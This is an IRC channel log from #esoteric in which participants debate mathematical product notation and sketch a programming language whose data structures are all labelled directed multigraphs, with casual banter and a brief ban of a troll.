:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm too tired for this < 1267475383 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267475388 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, wait isn't that vector product? < 1267475396 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, a non-vector related scalar product < 1267475428 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er... you mean juxtaposition? < 1267475432 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1267475439 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm trying to account for your tiredness here :) < 1267475442 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The scalar product of three and three is nine :P < 1267475459 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you know: scalar*scalar→scalar vector*vector→scalar and vector*vector→vector < 1267475463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :three different products < 1267475472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I need three different symbols to not confuse things < 1267475474 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :product of a and b is ab < 1267475479 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where a and b are scalars < 1267475481 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267475488 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeah and product of |a| and |b| is unreadable < 1267475494 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tough shit < 1267475496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :|a||b| < 1267475496 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :use \times < 1267475501 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :use the word "times" < 1267475505 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even http://en.wikipedia.org/wiki/Dot_product says |a| |b| < 1267475509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just deal with it < 1267475512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, NO the point of this is unicode < 1267475532 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if you want add some spacing < 1267475588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm that could work < 1267475778 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Silly alternatives: use the explicit a^T b for the dot product, then you can use the center-dot for multiplying scalars if you really need something there. Or the angle brackets for general inner product in place of the dot product, and the same thing. < 1267475868 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Personally I think the spacing of \left|a\right| \left|b\right| at least here is readable enough; there's a natural gap in-between, and the |s are closer to the letters than other |s. < 1267475894 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you just write it as "|a||b|" then it won't look right, of course. < 1267475905 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :|a|b| < 1267475917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plus :: Nat -> Nat -> Nat < 1267475917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plus x = rec (\_ -> x) (\_ z -> suc z) < 1267475917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :times :: Nat -> Nat -> Nat < 1267475918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :times x = rec (\_ -> zero) (\_ z -> plus x z) < 1267475918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fuck yeah, structural recursion < 1267475923 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :fuck YOU! < 1267475929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267476002 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That was an offer, not an insult. < 1267476063 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :> fact (suc (suc (suc zero))) < 1267476063 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Zig ()) < 1267476064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NOT SO SUCCESSFUL < 1267476128 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :faftstawfpa4d < 1267476143 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise what should I code < 1267476170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a core total, dependently-typed language! like I'm doing except in Haskell! < 1267477120 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I give up. < 1267477127 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :This code makes my soul bleed. < 1267477138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Eat some functionality. < 1267477144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It has good warming properties. < 1267477150 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1267477174 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION listens to some KMFDM
< 1267477247 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267477302 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267477327 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267477773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I really need to unify my uber-simple-auto-optimised-language-with-everything-as-one-basic-structure-that-acts-as-values-as-types-and-certain-values-being-programs omegalanguage with my total-functional-dependent-types-oh-me-oh-my omegalanguage. < 1267477843 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :well, hypothetically, how would someone unify chinese and english? < 1267477869 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They wouldn't. But natural languages are mishmash and already extant; these are mere concepts that I can bend to my will. < 1267477894 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess I could use directed graphs for the former - a graph is the type of the graph of the same structure, the type of something like 42 is the ur-element of natural numbers; either 0 or 1+1+1+1... = infinity. < 1267477909 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The type of a list of as would be [urelement a] < 1267477915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Although lists would just be sugar over graphs < 1267477919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In fact, everything would be. < 1267477993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is there a unicode character that's like => without the =? < 1267478001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just a very small straight two lines and then > < 1267478058 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :http://www.symbols.com/encyclopedia/04/index.html < 1267478066 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :it might be here, beats me < 1267478081 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nope. < 1267478111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What do you call a digraph with named arcs? < 1267478123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, just arcs with an extra piece of info attached to them that no other arc with the same head shares, I guess. < 1267478207 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't know if it has a particular name. < 1267478228 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :annotated, heh < 1267478241 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :A digraph with labelled edges, is actually what I'd probably call iot < 1267478243 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :it < 1267478297 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Methinks it is the fundamental structure of everything. < 1267478321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A list is 'head -> x. 'tail -> another list. A vector is 0,1,2,... -> element. < 1267478339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A natural is 'pred -> another natural or 'zero. < 1267478349 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Long live ASCII bells < 1267478356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(now how many got beeped by that?) < 1267478369 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not i. < 1267478370 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Not I < 1267478375 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well I didn't expect that < 1267478395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :An unordered set has no annotations. < 1267478403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So I guess the annotation is optional? But that seems rubbish. < 1267478423 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ASCII bells, ASCII bells, ASCII all the way < 1267478426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, I still need to define a way to reduce graphs to do computation. < 1267478431 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh what fun it is to ASCII all your console friends awaaaay < 1267478435 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :"A weighted digraph is a digraph with weights assigned for its arcs" < 1267478457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But they're not weights, just arbitrary tags < 1267478495 0 :SimonRC!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267478514 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267478532 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: When two people dream the same dream, it ceases to be an illusion. KVIrc 3.4.2 Shiny http://www.kvirc.net < 1267478596 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :arbitrary usually means optional, sometimes < 1267478645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :totalAge 'people :> {+ ::> people ? 'age} < 1267478649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think. < 1267478746 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/848777.txt?key=ohkyy1lvvdow7fk8lxaraq < 1267478749 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A drawing of that graphs. < 1267478750 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*graph < 1267478814 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Whatever you're talking about is reminding me of Category Theory. < 1267478824 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Arrows, arrows, arrows. < 1267478824 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Category theory is fun but not what I'm on about. < 1267478829 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's just graphs. < 1267478832 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :god damn it people irritate me so much < 1267478833 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Arrows? < 1267478845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Basically I'm trying to figure out the most elegant way of doing computation with graphs on graphs. < 1267478857 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :arrows and monads! < 1267478877 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Graphs. < 1267478877 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I like the eodermdrome method, but there's probably another < 1267478929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yes, well, mine's meant to be not so ridiculous :) < 1267478938 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, eodermdrome doesn't have cyclic graphs does it? < 1267478946 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :abcda < 1267478950 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or is that not what you mean? < 1267478964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe it is < 1267478969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean graphs with internal cycles < 1267478970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267478971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tree :: {'left :> {'left :> 1; 'right :> 3}; 'right :> {'left :> 2; 'right :> 4}} < 1267478978 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so i need anonymous nodes < 1267478983 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :wha tthe fuck isthat < 1267478986 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so why not have /all/ nodes be anonymous :D < 1267479039 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :All nodes are anonymous; there is one distinguished node with named arc to all the "named" nodes, and those arcs contain the names. < 1267479095 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Kind of hard to follow where alise wants to go with this design because the design space is so large... < 1267479111 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I've only seen anonymous nodes in a semantic web language, where the creator wishes to "reify" an edge--that is, treat it as a node < 1267479119 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Basically, the idea is that your entire (operating) system, including every single thing you care about, is one gigantic graph-like of some sort. < 1267479123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: RDF? yeah < 1267479129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :N3 makes that quite easy < 1267479173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Including all the relevant functions/drivers/programs (stored not as machine code ofc), their data, your data... < 1267479194 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Arrows? Graphs? Names. < 1267479197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So we need a graph structure that has some property related to the vague notion of "nesting", otherwise our namespaces will get clogged down. < 1267479210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And we need anonymous nodes, because naming every single piece of a nested data structure is ridiculous. < 1267479230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :An acyclic graph is probably unworkable, as it means we have no pointers. < 1267479235 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Pointers. < 1267479243 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: wat < 1267479267 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Every single piece of data is named, isn't it? Otherwise how do you get to it? < 1267479286 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And by "named" I mean, there's pointers to it, from other pieces of data. Maybe not explicit ones. < 1267479300 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1267479313 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Good point. < 1267479339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, you are right. Annotated arcs are the same thing as non-anonymous nodes. < 1267479340 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Trying to put it into words... there are graphs everywhere already, but they're... what's the word? Latent? < 1267479357 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And there are many, many ways to make them explicit. < 1267479409 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Oh what fun it is to ASCII all your console friends awaaaay <-- so you got beeped? < 1267479417 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No < 1267479419 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267479459 0 :Libster!~Libster@pool-74-103-90-165.bltmmd.east.verizon.net JOIN :#esoteric < 1267479579 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/848803.txt?key=bybdg9fl0pwv1vrtme9q < 1267479594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Annotated arcs and anonymous nodes: cancelling each other out since today. < 1267479612 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise shut up < 1267479618 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1267479619 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No? < 1267479621 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :stop taking your anger out on me < 1267479629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267479638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I haven't even mentioned your name in... forever? < 1267479640 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think it's actually my anger. alise is just borrowing it < 1267479646 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: My reasonably raw bip bouncer log doesn't show any suspicious ASCII characters in your long-live comment. I guess it's possible the log is filtered, but are you sure freenode's +c filtering doesn't remove ^G too? < 1267479649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: no but seriously what? < 1267479692 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, maybe it does since the ircd switch < 1267479695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if so how sad < 1267479731 0 :Libster!unknown@unknown.invalid PART #esoteric :? < 1267480002 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://dev.freenode.net/ircd-seven/browser/include/inline/stringops.h#L57 < 1267480019 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, sad < 1267480051 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. < 1267480068 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: My graphs have ceased entirely to be graphs at all, because you can have multiple nodes with the same value. < 1267480070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That isn't kosher, is it? < 1267480071 0 :Azstal!~asztal@host86-162-149-19.range86-162.btcentralplus.com JOIN :#esoteric < 1267480111 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Wait, I thought only the arcs had values? In which case 2 arcs with different labels can point to the same node, yes. < 1267480145 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not so different from symlinks... < 1267480155 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Aliasing. < 1267480161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I realised that if you allow duplicate nodes, all anonymous nodes + annotated arcs = normal nodes + normal arcs. < 1267480165 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267480174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But allowing duplicate nodes means it isn't a graph any more. < 1267480201 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I suppose not. < 1267480220 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You get from graph (set of nodes, set of edges) a multigraph if you make the edge-set a multiset, but I'm not sure what you get if you make the node-set a multiset too. < 1267480297 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Possibly a multi²graph. < 1267480305 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267480315 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a directed multi^2graph might be what I want < 1267480327 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously I want a multigraph, otherwise you couldn't have one object in two lists (right?) < 1267480344 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In the mathematical discipline of graph theory, a graph labeling is the assignment of labels, traditionally represented by integers, to the edges or vertices, or both, of a graph.[1] < 1267480370 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I haven't really been following the context in which your graph lives here; I was busy with my look-up table of ircd sources. < 1267480383 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haven't found a graph-theory anonymous-graph though < 1267480389 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Of course you can't have one object in two lists. Unless a) those two lists share a tail, and the object is in the tail, or b) the list really only contains a pointer to the object. < 1267480405 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well it's a graph, everything is a pointer :P < 1267480423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, they can't share a tail unless you can have multiple pointers to one node < 1267480431 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So what you want is the same point in two different lists! < 1267480436 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*pointer < 1267480436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Graphs as the most generalest of all data structures: http://pastie.org/848825.txt?key=das1exf0bvjldwzy6lmag < 1267480440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Of course. < 1267480446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But the whole point of using a graph is that it "does pointers". < 1267480457 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: But pointers *define* the list. < 1267480479 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So the same pointer in 2 lists would mean they're actually the same list. < 1267480515 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :At least, that's how I see it... < 1267480521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think we're thinking of the wrong thing < 1267480528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Consider the value fred. Doesn't matter what it is. < 1267480542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[fred,bob,lark] and [frak,fred,mogul] < 1267480557 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is impossible in a (non-multi)graph, because there are two arcs ending in fred. < 1267480588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Note that since we have no object identity we can just duplicate the object, but this sucks. < 1267480600 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :i.e. next(fred) isn't unique, right? < 1267480618 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :next(fred) has no meaning < 1267480620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I refer to a linked list < 1267480626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :list of a = nil or cons(a, list of a < 1267480627 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267480634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we have < 1267480644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the list has two arcs < 1267480652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :one to "head" (goes to "fred") < 1267480653 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :well, next(fred, [fred,bob,lark]) might have some meaning, for some defn of next() < 1267480656 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :one to "tail" (goes to [bob,lark]) < 1267480666 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Then the issue is removed. < 1267480707 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm not following ya, exactly... if lists are lists of names of objects, and fred is the name of an object, this is fine. < 1267480721 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :if fred is the object itself, then you can't say [fred,fred,fred] < 1267480728 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Okay, let me show you the structure of a list. < 1267480779 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/848837.txt?key=t2z1krwvkltzmo8hmhizqw < 1267480786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"head" and "tail" are just symbols/atoms there < 1267480797 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but "fred" just means that this arrow points to the fred node < 1267480800 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :imagine fred as another list < 1267480808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we'd have < 1267480809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :head < 1267480810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | < 1267480812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : foo < 1267480816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :/ \ < 1267480817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :head tail < 1267480903 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I am all wrong about everything. < 1267480949 0 :Libster!~Libster@pool-74-103-90-165.bltmmd.east.verizon.net JOIN :#esoteric < 1267480960 0 :ChanServ!unknown@unknown.invalid MODE #esoteric :+o lament < 1267480962 0 :Libster!unknown@unknown.invalid PART #esoteric :? < 1267480967 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :too late < 1267480968 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267480973 0 :lament!unknown@unknown.invalid MODE #esoteric :-o lament < 1267480995 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :who's Libster? < 1267480998 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a troll < 1267481005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(self-proclaimed; really bad at it) < 1267481006 0 :Libster!~Libster@pool-74-103-90-165.bltmmd.east.verizon.net JOIN :#esoteric < 1267481006 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :we get trolls her? < 1267481009 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*here? < 1267481020 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://pastie.org/848845.txt < 1267481021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: only because MissPiggy got Libster and ...base3? annoyed or something a while ago < 1267481035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes. But note that fred *is not a name*. < 1267481042 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :'fred' and 'fred' can be the same node, if you like. < 1267481043 0 :Libster!unknown@unknown.invalid TOPIC #esoteric :alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D | lament sux < 1267481044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Imagine both those head lines swirling around to wherever fred is, and latching on. < 1267481053 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sure. < 1267481057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it's a multigraph. < 1267481058 0 :ChanServ!unknown@unknown.invalid MODE #esoteric :+o lament < 1267481059 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or that would be impossible. < 1267481062 0 :lament!unknown@unknown.invalid MODE #esoteric :+b *!*Libster@*.bltmmd.east.verizon.net < 1267481064 0 :scarf!unknown@unknown.invalid TOPIC #esoteric :alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1267481076 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267481077 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :spambot < 1267481077 0 :lament!unknown@unknown.invalid MODE #esoteric :-o lament < 1267481080 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :lament: is that the actual reason? < 1267481084 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I love your reasoning < 1267481097 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: you're right, that is /incredibly/ bad trolling < 1267481098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :libster is a GLUT < 1267481106 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1267481106 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://pastie.org/848850.txt ? < 1267481116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :either he or base3 propositioned me for sex the first time (on this nick) < 1267481133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they are pretty colossally bad trolls < 1267481143 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: no; the head of the second list points /away from the whole thing/ < 1267481147 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :to whatever "fred" means in this context < 1267481149 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that IS why you chose this nick, isn't it? < 1267481158 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :both heads are different arcs, ending at the same node < 1267481165 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: well, partly. < 1267481174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also to topple the fascist english pronoun structure through sheer absurdity < 1267481180 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I don't see why you'd proposition random people for sex over IRC, given how unlikely it is you live within walking distance of each other < 1267481187 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :turns out people don't use gender-specific pronouns much on irc, though < 1267481198 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I actually use a spiral to indicate anonymous nodes, myself < 1267481198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Virtual reality is JUST ALONG THE CORNER < 1267481201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*AROUND < 1267481203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AROUND the corner < 1267481211 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: but then, you wouldn't need anyone real to have sex /with/ < 1267481216 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Why did you change nicks? < 1267481227 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :hey are we talking about sex < 1267481227 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Realistic sexbots: Harder than VR < 1267481231 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :coppro: saw that this one wasn't taken, and thought I might as well < 1267481240 0 :coppro!unknown@unknown.invalid NICK :Cu < 1267481243 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://pastie.org/848855.txt < 1267481245 0 :Cu!unknown@unknown.invalid PRIVMSG #esoteric :fair enough :P < 1267481247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is now known as nt
